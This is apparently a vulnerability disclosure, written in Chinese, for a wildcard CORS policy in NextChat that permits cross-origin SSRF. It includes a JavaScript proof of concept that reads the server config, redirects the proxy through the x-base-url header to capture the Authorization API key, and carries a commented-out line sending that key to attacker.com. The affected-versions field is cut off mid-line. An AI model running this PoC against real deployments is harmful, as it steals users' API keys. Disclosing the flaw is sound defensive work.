### 漏洞概述 **标题:** 所有 API 端点上的宽松 CORS 通配符策略导致跨源利用 (CVE Report: Permissive CORS Wildcard Policy on All API Endpoints Enabling Cross-Origin Exploitation) **严重程度:** 高 (CVSS 3.1 Base Score: 8.2) **描述:** NextChat 配置其 Next.js 应用程序,为 `/api/` 路径下的所有 API 端点附加最大宽松(maximally permissive)的 CORS 响应头。这种配置允许互联网上的任何网站向 NextChat API 端点发起跨源请求。由于代理端点(proxy endpoint)允许自定义头(包括 `x-base-url` 和 `Authorization`),攻击者可以利用此漏洞通过受害者的浏览器向内部网络资源或后端 API 提供商发起请求,从而泄露敏感信息(如 API 密钥)或执行跨源请求伪造(CSRF)。 ### 影响范围 * **受影响产品:** NextChat (ChatGPT-Next-Web) * **受影响版本:** ` NextChat CORS + SSRF PoC NextChat Cross-Origin SSRF Attack Attacking... // Step 1: Probe server configuration cross-origin fetch('http://localhost:3000/api/config') .then(r => r.json()) .then(config => { document.getElementById('output').textContent = 'Server config: ' + JSON.stringify(config, null, 2); // Step 2: Exploit SSRF to steal API key return fetch('http://localhost:3000/api/v1/test', { method: 'GET', headers: { 'x-base-url': 'https://httpbin.org/anything?api.openai.com' } }); }) .then(r => r.json()) .then(data => { const apiKey = data.headers?.Authorization || 'Not found'; document.getElementById('output').textContent += '\n\nStolen API Key: ' + apiKey; // Step 3: Exfiltrate to attacker server // navigator.sendBeacon('https://attacker.com/collect', // JSON.stringify({ key: apiKey })); }) .catch(e => { document.getElementById('output').textContent = 'Error: ' + e; }); ```